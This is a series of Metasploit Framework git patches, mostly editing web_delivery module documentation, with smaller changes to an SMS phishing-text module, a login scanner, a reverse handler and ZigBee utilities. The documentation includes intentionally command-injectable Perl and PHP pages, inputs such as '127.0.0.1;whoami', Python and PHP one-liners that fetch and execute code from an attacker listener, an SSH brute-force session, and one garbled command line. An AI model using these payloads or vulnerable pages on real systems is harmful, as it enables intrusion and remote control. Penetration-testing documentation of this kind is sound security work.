Delivering Payload +[*] Sending stage (33986 bytes) to 192.168.2.117 +[*] Meterpreter session 3 opened (192.168.2.117:4444 -> 192.168.2.117:48144) at 2017-03-04 15:39:05 -0500 +100 1132 0 971 100 161 440 73 0:00:02 0:00:02 --:--:-- 440^CInterrupt: use the 'exit' command to quit +``` \ No newline at end of file From e2468d8f1e80e1e53995a51f008ebb22f6723a30 Mon Sep 17 00:00:00 2001 From: h00die Date: Sat, 4 Mar 2017 15:48:26 -0500 Subject: [PATCH 297/426] spelling, formatting --- .../exploit/multi/script/web_delivery.md | 44 ++++++++++--------- 1 file changed, 24 insertions(+), 20 deletions(-) diff --git a/documentation/modules/exploit/multi/script/web_delivery.md b/documentation/modules/exploit/multi/script/web_delivery.md index 8d51bcbe75..0f3aad99dd 100644 --- a/documentation/modules/exploit/multi/script/web_delivery.md +++ b/documentation/modules/exploit/multi/script/web_delivery.md @@ -89,27 +89,29 @@ In this example we make a `post` form that pings a user provided IP, which is a 2. `mkdir /var/www/cgi-bin` 3. Enable folder for cgi execution: add `ScriptAlias "/cgi-bin/" "/var/www/cgi-bin/"` to `/etc/apache2/sites-enabled/000-default.conf ` inside of the `VirtualHost` tags 4. Create the vulnerable page by writing the following text to `/var/www/cgi-bin/example.pl`: -``` -#!/usr/bin/perl -use CGI qw(:standard); -$query = new CGI; -print $query->header( -type=> "text/html"), - $query->start_html(); -$query->import_names( 'Q' ); -if ( $Q::ip ) { - print system("ping -c 1 $Q::ip"), "
"; -} -print $query->start_form( -name=>"ping", -method=>"POST", -enctype=>&CGI::URL_ENCODED), - $query->p("Enter IP to ping:"), - $query->textfield(-name=>"ip"), #, -id=>"ip"), - $query->submit(-name=>"submit"), - $query->end_form(), - $query->end_html(); -``` + ``` + #!/usr/bin/perl + use CGI qw(:standard); + $query = new CGI; + print $query->header( -type=> "text/html"), + $query->start_html(); + $query->import_names( 'Q' ); + if ( $Q::ip ) { + print system("ping -c 1 $Q::ip"), "
"; + } + print $query->start_form( -name=>"ping", -method=>"POST", -enctype=>&CGI::URL_ENCODED), + $query->p("Enter IP to ping:"), + $query->textfield(-name=>"ip"), #, -id=>"ip"), + $query->submit(-name=>"submit"), + $query->end_form(), + $query->end_html(); + ``` 5. Make it executable: `chmod +x /var/www/cgi-bin/example.pl` We can verify this page is exploitable by chaining commands so instead of submitting `127.0.0.1` we'll submit `127.0.0.1;whoami`. + `curl -X POST http://127.0.0.1/cgi-bin/example.pl --data-urlencode "ip=127.0.0.1;whoami&submit=submit"` + ``` ``` -Now browse to the site, and submit the form with the text `127.0.0.1;python -c "import urllib2; r = urlli7:8080/vNPlsjE'); exec(r.read());"`. If the site seems to freeze, exploitation is most likely successful. +Now browse to the site, and submit the form with the text `127.0.0.1;python -c "import urllib2; r = urlli7:8080/vNPlsjE'); exec(r.read());"`. If the site seems to freeze, exploitation was most likely successful. ``` [*] 192.168.2.117 web_delivery - Delivering Payload [*] Sending stage (38500 bytes) to 192.168.2.117 @@ -189,7 +191,7 @@ Active sessions ### PHP -In this example we make a `post` form that pings a user provided IP, which is a typical funtion on many routers and is often abused a similar manner. +In this example we make a `post` form that pings a user provided IP, which is a typical function on many routers and is often abused in a similar manner. 1. Enable cgi: `a2enmod php7.0` 2. Create the vulnerable page by writing the following text to `/var/www/html/example.php`: @@ -212,7 +214,9 @@ In this example we make a `post` form that pings a user provided IP, which is a ``` We can verify this page is exploitable by chaining commands so instead of submitting `127.0.0.1` we'll submit `127.0.0.1;whoami`. + `curl -X POST http://127.0.0.1/example.php --data-urlencode "ip=127.0.0.1;whoami&submit=submit"` + ``` @@ -250,7 +254,7 @@ www-data php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.2.117:8080/de3uw0'));" msf exploit(web_delivery) > ``` -Now browse to the site, and submit the form with the text `127.0.0.1;php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.2.117:8080/de3uw0'));"`. If the site seems to freeze, exploitation is most likely successful. +Now browse to the site, and submit the form with the text `127.0.0.1;php -d allow_url_fopen=true -r "eval(file_get_contents('http://192.168.2.117:8080/de3uw0'));"`. If the site seems to freeze, exploitation was most likely successful. ``` [*] 192.168.2.117 web_delivery - Delivering Payload [*] Sending stage (33986 bytes) to 192.168.2.117 From 4f61fe992bc2bd236a4b9c1fcb4444470a8379a2 Mon Sep 17 00:00:00 2001 From: h00die Date: Sat, 4 Mar 2017 15:51:11 -0500 Subject: [PATCH 298/426] spelling, formatting --- documentation/modules/exploit/multi/script/web_delivery.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/documentation/modules/exploit/multi/script/web_delivery.md b/documentation/modules/exploit/multi/script/web_delivery.md index 0f3aad99dd..4f71362d5e 100644 --- a/documentation/modules/exploit/multi/script/web_delivery.md +++ b/documentation/modules/exploit/multi/script/web_delivery.md @@ -89,6 +89,7 @@ In this example we make a `post` form that pings a user provided IP, which is a 2. `mkdir /var/www/cgi-bin` 3. Enable folder for cgi execution: add `ScriptAlias "/cgi-bin/" "/var/www/cgi-bin/"` to `/etc/apache2/sites-enabled/000-default.conf ` inside of the `VirtualHost` tags 4. Create the vulnerable page by writing the following text to `/var/www/cgi-bin/example.pl`: + ``` #!/usr/bin/perl use CGI qw(:standard); @@ -106,6 +107,7 @@ In this example we make a `post` form that pings a user provided IP, which is a $query->end_form(), $query->end_html(); ``` + 5. Make it executable: `chmod +x /var/www/cgi-bin/example.pl` We can verify this page is exploitable by chaining commands so instead of submitting `127.0.0.1` we'll submit `127.0.0.1;whoami`. @@ -195,6 +197,7 @@ In this example we make a `post` form that pings a user provided IP, which is a 1. Enable cgi: `a2enmod php7.0` 2. Create the vulnerable page by writing the following text to `/var/www/html/example.php`: + ``` From 4317aa10e1de83740356447c36c30540f0c8780d Mon Sep 17 00:00:00 2001 From: h00die Date: Sun, 5 Mar 2017 13:45:23 -0500 Subject: [PATCH 299/426] @hurdlecrew recommendation --- .../modules/exploit/multi/script/web_delivery.md | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/documentation/modules/exploit/multi/script/web_delivery.md b/documentation/modules/exploit/multi/script/web_delivery.md index 4f71362d5e..b4985c0d4a 100644 --- a/documentation/modules/exploit/multi/script/web_delivery.md +++ b/documentation/modules/exploit/multi/script/web_delivery.md @@ -98,7 +98,7 @@ In this example we make a `post` form that pings a user provided IP, which is a $query->start_html(); $query->import_names( 'Q' ); if ( $Q::ip ) { - print system("ping -c 1 $Q::ip"), "
"; + print `ping -c 1 $Q::ip`, "
"; } print $query->start_form( -name=>"ping", -method=>"POST", -enctype=>&CGI::URL_ENCODED), $query->p("Enter IP to ping:"), @@ -114,6 +114,10 @@ We can verify this page is exploitable by chaining commands so instead of submit `curl -X POST http://127.0.0.1/cgi-bin/example.pl --data-urlencode "ip=127.0.0.1;whoami&submit=submit"` +or via GET request: + +`curl "http://127.0.0.1/cgi-bin/example.pl?ip=127.0.0.1%3Bwhoami&submit=submit"` (note url encoding) + ```

Enter IP to ping:

+

Enter IP to ping:

``` From dfd492611c0d22ae8cc2a54e4c6ec2763657d406 Mon Sep 17 00:00:00 2001 From: h00die Date: Sun, 5 Mar 2017 20:10:26 -0500 Subject: [PATCH 300/426] add shell to meterpreter upgrade example --- .../exploit/multi/script/web_delivery.md | 52 +++++++++++++++++++ 1 file changed, 52 insertions(+) diff --git a/documentation/modules/exploit/multi/script/web_delivery.md b/documentation/modules/exploit/multi/script/web_delivery.md index b4985c0d4a..a1c82d3f27 100644 --- a/documentation/modules/exploit/multi/script/web_delivery.md +++ b/documentation/modules/exploit/multi/script/web_delivery.md @@ -75,6 +75,58 @@ Here's how that can be done: 2. Interact with the shell, and copy/paste the command. 3. You should get a Meterpreter session. +An example of this process can be seen below where an Ubuntu 14.04 victim is first exploited through `auxialiary/scanner/ssh/ssh_login`, and then upgraded via `web_delivery`. + +``` +msf > use auxiliary/scanner/ssh/ssh_login +msf auxiliary(ssh_login) > set rhosts 192.168.2.156 +rhosts => 192.168.2.156 +msf auxiliary(ssh_login) > set username ubuntu +username => ubuntu +msf auxiliary(ssh_login) > set password ubuntu +password => ubuntu +msf auxiliary(ssh_login) > run + +[*] SSH - Starting bruteforce +[+] SSH - Success: 'ubuntu:ubuntu' 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lpadmin),111(sambashare) Linux Ubuntu14 4.2.0-27-generic #32~14.04.1-Ubuntu SMP Fri Jan 22 15:32:26 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux ' +[!] No active DB -- Credential data will not be saved! +[*] Command shell session 1 opened (192.168.2.117:35219 -> 192.168.2.156:22) at 2017-03-05 19:57:53 -0500 +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +msf auxiliary(ssh_login) > use exploit/multi/script/web_delivery +msf exploit(web_delivery) > set lhost 192.168.2.117 +lhost => 192.168.2.117 +msf exploit(web_delivery) > run +[*] Exploit running as background job. + +[*] Started reverse TCP handler on 192.168.2.117:4444 +[*] Using URL: http://0.0.0.0:8080/DovbvqRaB +[*] Local IP: http://192.168.2.117:8080/DovbvqRaB +[*] Server started. +[*] Run the following command on the target machine: +python -c "import urllib2; r = urllib2.urlopen('http://192.168.2.117:8080/DovbvqRaB'); exec(r.read());" +msf exploit(web_delivery) > sessions -i 1 +[*] Starting interaction with 1... + +python -c "import urllib2; r = urllib2.urlopen('http://192.168.2.117:8080/DovbvqRaB'); exec(r.read());" +[*] 192.168.2.156 web_delivery - Delivering Payload +[*] Sending stage (38500 bytes) to 192.168.2.156 +[*] Meterpreter session 2 opened (192.168.2.117:4444 -> 192.168.2.156:35840) at 2017-03-05 19:59:44 -0500 + +^Z +Background session 1? [y/N] y + +msf exploit(web_delivery) > sessions -i 2 +[*] Starting interaction with 2... + +meterpreter > sysinfo +Computer : Ubuntu14 +OS : Linux 4.2.0-27-generic #32~14.04.1-Ubuntu SMP Fri Jan 22 15:32:26 UTC 2016 +Architecture : x64 +Meterpreter : python/linux +meterpreter > +``` + ## Vulnerable Pages ### Perl cgi From 50beade2039794fb4a1d3992801e42b2e588ddd3 Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Mon, 6 Mar 2017 04:10:32 -0500 Subject: [PATCH 301/426] skip aggregator on arm platforms for now the build of grpc fails for warnings --- Gemfile | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/Gemfile b/Gemfile index da5872b2ce..1b4e690e78 100755 --- a/Gemfile +++ b/Gemfile @@ -20,8 +20,8 @@ group :development do gem 'pry' # module documentation gem 'octokit', '~> 4.0' - # rails-upgrade staging gems - gem 'metasploit-aggregator' + # session aggregator, native builds have issues on arm platforms for now + gem 'metasploit-aggregator' if !RUBY_PLATFORM.include?('arm') end group :development, :test do From 394e7fd8be5a7653eac470e62a45f9edc955fbd2 Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Mon, 6 Mar 2017 04:54:41 -0500 Subject: [PATCH 302/426] handle user mistakes more gracefully --- plugins/aggregator.rb | 20 +++++++++++--------- 1 file changed, 11 insertions(+), 9 deletions(-) diff --git a/plugins/aggregator.rb b/plugins/aggregator.rb index 78e0aa4cca..f3b1827e18 100644 --- a/plugins/aggregator.rb +++ b/plugins/aggregator.rb @@ -84,7 +84,7 @@ module Msf def cmd_aggregator_save(*args) # if we are logged in, save session details to aggregator.yaml - if args[0] == "-h" + if args.length == 0 || args[0] == "-h" usage_save return end @@ -184,7 +184,6 @@ module Msf end def cmd_aggregator_cable_add(*args) - return if !aggregator_verify host, port, certificate = nil case args.length when 1 @@ -202,14 +201,19 @@ module Msf usage_cable_add return end - usage_cable_add if port.nil? || port.to_i <= 0 + + if !aggregator_verify || args.length == 0 || args[0] == '-h' || \ + port.nil? || port.to_i <= 0 + usage_cable_add + return + end certificate = File.new(certificate).read if certificate && File.exists?(certificate) @aggregator.add_cable(Metasploit::Aggregator::Cable::HTTPS, host, port, certificate) end - def cmd_aggregator_cables + def cmd_aggregator_cables(*_args) return if !aggregator_verify res = @aggregator.cables print_status("Remote Cables:") @@ -220,15 +224,13 @@ module Msf end def cmd_aggregator_cable_remove(*args) - return if !aggregator_verify - case args.length when 1 host, port = args[0].split(':', 2) when 2 host, port = args end - if host.nil? + if !aggregator_verify || args.length == 0 || args[0] == '-h' || host.nil? usage_cable_remove return end @@ -247,8 +249,8 @@ module Msf @aggregator.release_session(s.conn_id) framework.sessions.deregister(s) else - # TODO: determine if we can add a transport and route with the aggregator - # for now just report action not taken + # TODO: determine if we can add a transport and route with the + # aggregator. For now, just report action not taken. print_status("#{session_id} does not originate from the aggregator connection.") end else From 7e16fc97f5a00738f93cbe087e57b209168b1c8b Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Mon, 6 Mar 2017 10:47:46 -0600 Subject: [PATCH 303/426] Update doc --- .../modules/auxiliary/client/sms/send_text.md | 19 +++++++++++-------- 1 file changed, 11 insertions(+), 8 deletions(-) diff --git a/documentation/modules/auxiliary/client/sms/send_text.md b/documentation/modules/auxiliary/client/sms/send_text.md index 6101e66483..cae552941d 100644 --- a/documentation/modules/auxiliary/client/sms/send_text.md +++ b/documentation/modules/auxiliary/client/sms/send_text.md @@ -1,4 +1,4 @@ -The auxiliary/client/sms/send_text module allows you to send a malicious text/link to a collection +The ```auxiliary/client/sms/send_text``` module allows you to send a malicious text/link to a collection of phone numbers of the same carrier. In order to use this module, you must set up your own SMTP server to deliver messages. Popular @@ -8,9 +8,9 @@ mail services such as Gmail, Yahoo, Live should work fine. **CELLNUMBERS** -The phone number (or numbers) you want to send the text to. If you wish to target against multiple -phone numbers, ideally you want to create the list in a text file (one number per line), and then -load the CELLNUMBERS option like this: +The 10-digit phone number (or numbers) you want to send the text to. If you wish to target against +multiple phone numbers, ideally you want to create the list in a text file (one number per line), +and then load the CELLNUMBERS option like this: ``` set CELLNUMBER file:///tmp/att_phone_numbers.txt @@ -33,7 +33,7 @@ The mail server address you wish to use to send the text messages. **SMTPPORT** -The mail server port. By default, this is 25. +The mail server port. By default, this is ```25```. **SMTPUSERNAME** @@ -45,7 +45,7 @@ The password you use to log into the SMTP server. **SMTPFROM** -The FROM field of SMTP. +The FROM field of SMTP. In some cases, it may be used as ```SMTPUSER```. ## Supported Carrier Gateways @@ -55,10 +55,13 @@ The module supports the following carriers: * AT&T Wireless * Boost Mobile * Cricket Wireless +* Google Fi * T-Mobile * Verizon * Virgin Mobile -* Google Fi + +**Note:** During development, we could not find a valid gateway for Sprint, therefore it is currently +not supported. ## Finding the Carrier for a Phone Number @@ -67,7 +70,7 @@ how to identify the carrier of a phone number. There are many services that can http://freecarrierlookup.com/ -Note: If the phone is using Google Fi, then it may appear as a different carrier. +**Note:** If the phone is using Google Fi, then it may appear as a different carrier. ## Gmail SMTP Example From a466dc44c6e7c734187ddb48e31e1b3037090b36 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Mon, 6 Mar 2017 10:54:08 -0600 Subject: [PATCH 304/426] Do exception handling for sms client --- lib/rex/proto/sms/client.rb | 2 ++ modules/auxiliary/client/sms/send_text.rb | 8 ++++++-- 2 files changed, 8 insertions(+), 2 deletions(-) diff --git a/lib/rex/proto/sms/client.rb b/lib/rex/proto/sms/client.rb index be1d973efa..271dafdec1 100644 --- a/lib/rex/proto/sms/client.rb +++ b/lib/rex/proto/sms/client.rb @@ -55,6 +55,8 @@ module Rex smtp.send_message(message, from, r) end end + rescue Net::SMTPAuthenticationError => e + raise Rex::Proto::Sms::Exception, e.message ensure smtp.finish if smtp && smtp.started? end diff --git a/modules/auxiliary/client/sms/send_text.rb b/modules/auxiliary/client/sms/send_text.rb index 96c3a78d64..8bc0382db4 100644 --- a/modules/auxiliary/client/sms/send_text.rb +++ b/modules/auxiliary/client/sms/send_text.rb @@ -27,8 +27,12 @@ class MetasploitModule < Msf::Auxiliary def run phone_numbers = datastore['CELLNUMBERS'].split print_status("Sending text (#{datastore['SMSMESSAGE'].length} bytes) to #{phone_numbers.length} number(s)...") - res = send_text(phone_numbers, datastore['SMSMESSAGE']) - print_status("Done.") + begin + res = send_text(phone_numbers, datastore['SMSMESSAGE']) + print_status("Done.") + rescue Rex::Proto::Sms::Exception => e + print_error(e.message) + end end end From 34bca9055eed271a4d80d8b0193cdbe54e5ce3f8 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Mon, 6 Mar 2017 11:08:51 -0600 Subject: [PATCH 305/426] Update doc --- documentation/modules/auxiliary/client/sms/send_text.md | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/documentation/modules/auxiliary/client/sms/send_text.md b/documentation/modules/auxiliary/client/sms/send_text.md index cae552941d..ec69d2289d 100644 --- a/documentation/modules/auxiliary/client/sms/send_text.md +++ b/documentation/modules/auxiliary/client/sms/send_text.md @@ -25,7 +25,13 @@ supported carriers. **SMSMESSAGE** -The text message you want to send. +The text message you want to send. For example, this will send a text with a link to google: + +``` +set SMSMESSAGE "Hi, please go: google.com" +``` + +The link should automatically be parsed on the phone and clickable. **SMTPADDRESS** From 3ab214e758b077072b874184fc9e739ddec4e481 Mon Sep 17 00:00:00 2001 From: juushya Date: Tue, 7 Mar 2017 00:03:24 +0530 Subject: [PATCH 306/426] Minor edits --- .../scanner/http/gavazzi_em_login_loot.rb | 34 ++++--------------- 1 file changed, 6 insertions(+), 28 deletions(-) diff --git a/modules/auxiliary/scanner/http/gavazzi_em_login_loot.rb b/modules/auxiliary/scanner/http/gavazzi_em_login_loot.rb index bfe9b56912..96ba5c836f 100644 --- a/modules/auxiliary/scanner/http/gavazzi_em_login_loot.rb +++ b/modules/auxiliary/scanner/http/gavazzi_em_login_loot.rb @@ -157,39 +157,17 @@ class MetasploitModule < Msf::Auxiliary return :abort end - if (res && res.code == 200 && res.body.include?('Firmware Version')) - fw_ver_dirty = res.body.match(/Firmware Version(.*)(.*)td/) + if res && res.code == 200 + if res.body.include?('Firmware Version') || res.body.include?('Versione Firmware') + fw_ver = res.body.match(/Ver. (.*)[$<]/)[1] - if !fw_ver_dirty.nil? - fw_ver_clean = "#{fw_ver_dirty}".match(/Ver. (.*)[$<]/)[1] - - if !fw_ver_clean.nil? - print_good("#{rhost}:#{rport} - Firmware version #{fw_ver_clean}...") + if !fw_ver.nil? + print_good("#{rhost}:#{rport} - Firmware version #{fw_ver}...") report_cred( ip: rhost, port: rport, - service_name: "Carlo Gavazzi Energy Meter [Firmware ver #{fw_ver_clean}]", - user: user, - password: pass - ) - end - end - end - - if (res && res.code == 200 && res.body.include?('Versione Firmware Installata')) - fw_ver_dirty = res.body.match(/Ver. (.*)[$<]/) - - if !fw_ver_dirty.nil? - fw_ver_clean = "#{fw_ver_dirty}".match(/[^Ver. ](.*)[^<]/) - - if !fw_ver_clean.nil? - print_good("#{rhost}:#{rport} - Firmware version #{fw_ver_clean}...") - - report_cred( - ip: rhost, - port: rport, - service_name: "Carlo Gavazzi Energy Meter [Firmware ver #{fw_ver_clean}]", + service_name: "Carlo Gavazzi Energy Meter [Firmware ver #{fw_ver}]", user: user, password: pass ) From 2d8e3c73f5d0cc963e401392317ff987b54b39c6 Mon Sep 17 00:00:00 2001 From: juushya Date: Tue, 7 Mar 2017 00:20:05 +0530 Subject: [PATCH 307/426] Minor edits --- .../scanner/http/gavazzi_em_login_loot.rb | 17 +++++++++++++++-- 1 file changed, 15 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/http/gavazzi_em_login_loot.rb b/modules/auxiliary/scanner/http/gavazzi_em_login_loot.rb index 96ba5c836f..96d9d7d8b1 100644 --- a/modules/auxiliary/scanner/http/gavazzi_em_login_loot.rb +++ b/modules/auxiliary/scanner/http/gavazzi_em_login_loot.rb @@ -69,7 +69,13 @@ class MetasploitModule < Msf::Auxiliary return false end - if (res && res.code == 200 && (res.body.include?('Accedi') || res.body.include?('Gavazzi') || res.body.include?('styleVMUC.css') || res.body.include?('VMUC'))) + good_response = ( + res && + res.code == 200 && + res.body.include?('Accedi') || res.body.include?('Gavazzi') || res.body.include?('styleVMUC.css') || res.body.include?('VMUC') + ) + + if good_response vprint_good("#{rhost}:#{rport} - Running Carlo Gavazzi VMU-C Web Management portal...") return true else @@ -138,7 +144,14 @@ class MetasploitModule < Msf::Auxiliary return :abort end - if (res && ((res.code == 200 && (res.body.include?('Login in progress') || res.body.include?('Login in corso')) && res.body.match(/id="error" value="2"/)) || (res.code == 302 && res.headers['Location'] == 'disclaimer.php'))) + good_response = ( + res && + res.code == 200 && + res.body.include?('Login in progress') || res.body.include?('Login in corso') && + res.body.match(/id="error" value="2"/) || (res.code == 302 && res.headers['Location'] == 'disclaimer.php') + ) + + if good_response print_good("SUCCESSFUL LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}") # Extract firmware version From 4005e4f160d68f43aff66f05874026c7dab18c2a Mon Sep 17 00:00:00 2001 From: = <=> Date: Tue, 7 Mar 2017 01:54:53 +0530 Subject: [PATCH 308/426] Issue #7188 resolved --- lib/msf/core/handler/reverse.rb | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/handler/reverse.rb b/lib/msf/core/handler/reverse.rb index 7d9b496c55..277dafefc7 100644 --- a/lib/msf/core/handler/reverse.rb +++ b/lib/msf/core/handler/reverse.rb @@ -82,12 +82,15 @@ module Msf 'MsfPayload' => self, 'MsfExploit' => assoc_exploit }) + + if (ip=='127.0.0.1' || ip=='127.0.0.2' || ip=='127.0.0.3' || ip=='127.0.0.4'|| ip=='127.0.0.5'||ip=='127.0.0.6' || ip=='127.0.0.7' || ip=='127.0.0.8') + print_error("Please note that errors might be experienced with this choice of address for LHOST.") + end rescue ex = $! print_error("Handler failed to bind to #{ip}:#{local_port}:- #{comm} -") else ex = false - via = via_string_for_ip(ip, comm) print_status("Started #{human_name} handler on #{ip}:#{local_port} #{via}") From 60cd04bc7b7f140c4b861709b8d165099b9a0d72 Mon Sep 17 00:00:00 2001 From: Craig Smith Date: Mon, 6 Mar 2017 16:10:14 -0800 Subject: [PATCH 309/426] Added module for zstumbler --- lib/msf/core/post/hardware.rb | 1 + lib/msf/core/post/hardware/zigbee/utils.rb | 259 ++++++++++++++++++ .../post/hwbridge/extensions/zigbee/zigbee.rb | 43 +++ .../ui/console/command_dispatcher/zigbee.rb | 48 +++- modules/auxiliary/client/hwbridge/connect.rb | 2 + modules/post/hardware/zigbee/zstumbler.rb | 102 +++++++ tools/hardware/killerbee_msfrelay | 60 +++- 7 files changed, 505 insertions(+), 10 deletions(-) create mode 100644 lib/msf/core/post/hardware/zigbee/utils.rb create mode 100644 modules/post/hardware/zigbee/zstumbler.rb diff --git a/lib/msf/core/post/hardware.rb b/lib/msf/core/post/hardware.rb index 9f6772ad85..c25549dcb4 100644 --- a/lib/msf/core/post/hardware.rb +++ b/lib/msf/core/post/hardware.rb @@ -1,4 +1,5 @@ # -*- coding: binary -*- module Msf::Post::Hardware require 'msf/core/post/hardware/automotive/uds' + require 'msf/core/post/hardware/zigbee/utils' end diff --git a/lib/msf/core/post/hardware/zigbee/utils.rb b/lib/msf/core/post/hardware/zigbee/utils.rb new file mode 100644 index 0000000000..149c992bbc --- /dev/null +++ b/lib/msf/core/post/hardware/zigbee/utils.rb @@ -0,0 +1,259 @@ +# -*- coding: binary -*- +module Msf +class Post +module Hardware +module Zigbee + +module Utils + + ## Constants for packet decoding fields + # Frame Control Field + DOT154_FCF_TYPE_MASK = 0x0007 #: Frame type mask + DOT154_FCF_SEC_EN = 0x0008 #: Set for encrypted payload + DOT154_FCF_FRAME_PND = 0x0010 #: Frame pending + DOT154_FCF_ACK_REQ = 0x0020 #: ACK request + DOT154_FCF_INTRA_PAN = 0x0040 #: Intra-PAN activity + DOT154_FCF_DADDR_MASK = 0x0C00 #: Destination addressing mode mask + DOT154_FCF_VERSION_MASK = 0x3000 #: Frame version + DOT154_FCF_SADDR_MASK = 0xC000 #: Source addressing mask mode + + # Frame Control Field Bit Shifts + DOT154_FCF_TYPE_MASK_SHIFT = 0 #: Frame type mask mode shift + DOT154_FCF_DADDR_MASK_SHIFT = 10 #: Destination addressing mode mask + DOT154_FCF_VERSION_MASK_SHIFT = 12 #: Frame versions mask mode shift + DOT154_FCF_SADDR_MASK_SHIFT = 14 #: Source addressing mask mode shift + + # Address Mode Definitions + DOT154_FCF_ADDR_NONE = 0x0000 #: Not sure when this is used + DOT154_FCF_ADDR_SHORT = 0x0002 #: 4-byte addressing + DOT154_FCF_ADDR_EXT = 0x0003 #: 8-byte addressing + + DOT154_FCF_TYPE_BEACON = 0 #: Beacon frame + DOT154_FCF_TYPE_DATA = 1 #: Data frame + DOT154_FCF_TYPE_ACK = 2 #: Acknowledgement frame + DOT154_FCF_TYPE_MACCMD = 3 #: MAC Command frame + + DOT154_CRYPT_NONE = 0x00 #: No encryption, no MIC + DOT154_CRYPT_MIC32 = 0x01 #: No encryption, 32-bit MIC + DOT154_CRYPT_MIC64 = 0x02 #: No encryption, 64-bit MIC + DOT154_CRYPT_MIC128 = 0x03 #: No encryption, 128-bit MIC + DOT154_CRYPT_ENC = 0x04 #: Encryption, no MIC + DOT154_CRYPT_ENC_MIC32 = 0x05 #: Encryption, 32-bit MIC + DOT154_CRYPT_ENC_MIC64 = 0x06 #: Encryption, 64-bit MIC + DOT154_CRYPT_ENC_MIC128 = 0x07 #: Encryption, 128-bit MIC + + # Retrieves the target Zigbee device. This is typically set by the user via the + # interactive HWBridge command line + # @return [String] Zigbee device ID + def get_target_device + if not client.zigbee + print_error("Not a Zigbee hwbridge session") + return + end + return client.zigbee.get_target_device + end + + # Sets the target default Zigbee Device. This command typically isn't called via a script + # Instead the user is expected to set this via the interactive HWBridge commandline + # @param device [String] Zigbee device ID + def set_target_device(device) + if not client.zigbee + print_error("Not a Zigbee hwbridge session") + return + end + client.zigbee.set_target_device device + end + + # Sets the Zigbee Channel + # @param device [String] Zigbee device ID + # @param channel [Integer] Channel number, typically 11-25 + def set_channel(device, channel) + if not client.zigbee + print_error("Not a Zigbee hwbridge session") + return {} + end + device = client.zigbee.target_device if not device + if not device + print_line("No target device set, use 'target' or specify bus via the options") + return {} + end + client.zigbee.set_channel(device, channel) + end + + # Inject raw packets. Need firmware on the zigbee device that supports transmission. + # @param device [String] Zigbee device ID + # @param data [String] Raw binary data sent as a string + def inject(device, data) + if not client.zigbee + print_error("Not a Zigbee hwbridge session") + return {} + end + device = client.zigbee.target_device if not device + if not device + print_line("No target device set, use 'target' or specify bus via the options") + return {} + end + client.zigbee.inject(device, data) + end + + # Recieves data from the Zigbee device + # @param device [String] Zigbee device ID + # @return [String] Binary blob of returned data + def recv(device) + if not client.zigbee + print_error("Not a Zigbee hwbridge session") + return {} + end + device = client.zigbee.target_device if not device + if not device + print_line("No target device set, use 'target' or specify bus via the options") + return {} + end + client.zigbee.recv(device) + end + + # Turn off Zigbee receiving + # @param device [String] Zigbee device ID + def sniffer_off(device) + if not client.zigbee + print_error("Not a Zigbee hwbridge session") + return {} + end + device = client.zigbee.target_device if not device + if not device + print_line("No target device set, use 'target' or specify bus via the options") + return {} + end + client.zigbee.sniffer_off(device) + end + + # Turn on Zigbee receiving + # @param device [String] Zigbee device ID + def sniffer_on(device) + if not client.zigbee + print_error("Not a Zigbee hwbridge session") + return {} + end + device = client.zigbee.target_device if not device + if not device + print_line("No target device set, use 'target' or specify bus via the options") + return {} + end + client.zigbee.sniffer_on(device) + end + + # Breaks up the packet into different sections. Also provides + # Some decoding information + # @param packet [String] Raw data from recv + # @return [Hash] { PktChop => [Array of data], .. + def dot154_packet_decode(packet) + result = {} + offset = 0 + pktchop = ['', '', '', '', '', '', [], ''] + pktchop[0] = packet[0,2] + # Sequence number + pktchop[1] = packet[2] + # Byte swap + fcf = pktchop[0].reverse.unpack("H*")[0].hex + result["FSF"] = fcf + result["SEQ"] = pktchop[1] + # Check if we are dealing with a beacon frame + if (fcf & DOT154_FCF_TYPE_MASK) == DOT154_FCF_TYPE_BEACON + beacondata = ["", "", "", "", "", "", "", "", "", ""] + # 802.15.4 fields, SPAN and SA + pktchop[4] = packet[3,2] + pktchop[5] = packet[5,2] + result["SPAN_ID"] = pktchop[4].reverse.unpack("H*")[0] + result["SOURCE"] = pktchop[5].reverse.unpack("H*")[0] + offset = 7 + + # Superframe specification + beacondata[0] = packet[offset,2] + result["SUPERFRAME"] = beacondata[0] + offset+=2 + + # GTS data + beacondata[1] = packet[offset] + result["GTS"] = beacondata[1] + offset+=1 + + # Pending address count + beacondata[2] = packet[offset] + result["PENDING_ADDRESS_COUNT"] = beacondata[2] + offset+=1 + + # Protocol ID + beacondata[3] = packet[offset] + result["PROTOCOL_ID"] = beacondata[3] + offset+=1 + + # Stack Profile version + beacondata[4] = packet[offset] + result["STACK_PROFILE"] = beacondata[4] + offset+=1 + + # Capability information + beacondata[5] = packet[offset] + result["CAPABILITY"] = beacondata[5] + offset+=1 + + # Extended PAN ID + beacondata[6] = packet[offset,8] + result["EXT_PAN_ID"] = beacondata[6].reverse.unpack("H*")[0] + offset+=8 + + # TX Offset + beacondata[7] = packet[offset,3] + result["TX_OFFSET"] = beacondata[7] + offset+=3 + + # Update ID + beacondata[8] = packet[offset] + result["UPDATE_ID"] = beacondata[8] + offset+=1 + pktchop[6] = beacondata + result["BEACONDATA"] = beacondata + else + # Not a beacon frame + + # DPAN + pktchop[2] = packet[3,2] + offset = 5 + + # Examine the destination addressing mode + daddr_mask = (fcf & DOT154_FCF_DADDR_MASK) >> 10 + if daddr_mask == DOT154_FCF_ADDR_EXT + pktchop[3] = packet[offset,8] + offset+=8 + elsif daddr_mask == DOT154_FCF_ADDR_SHORT + pktchop[3] = packet[offset,2] + 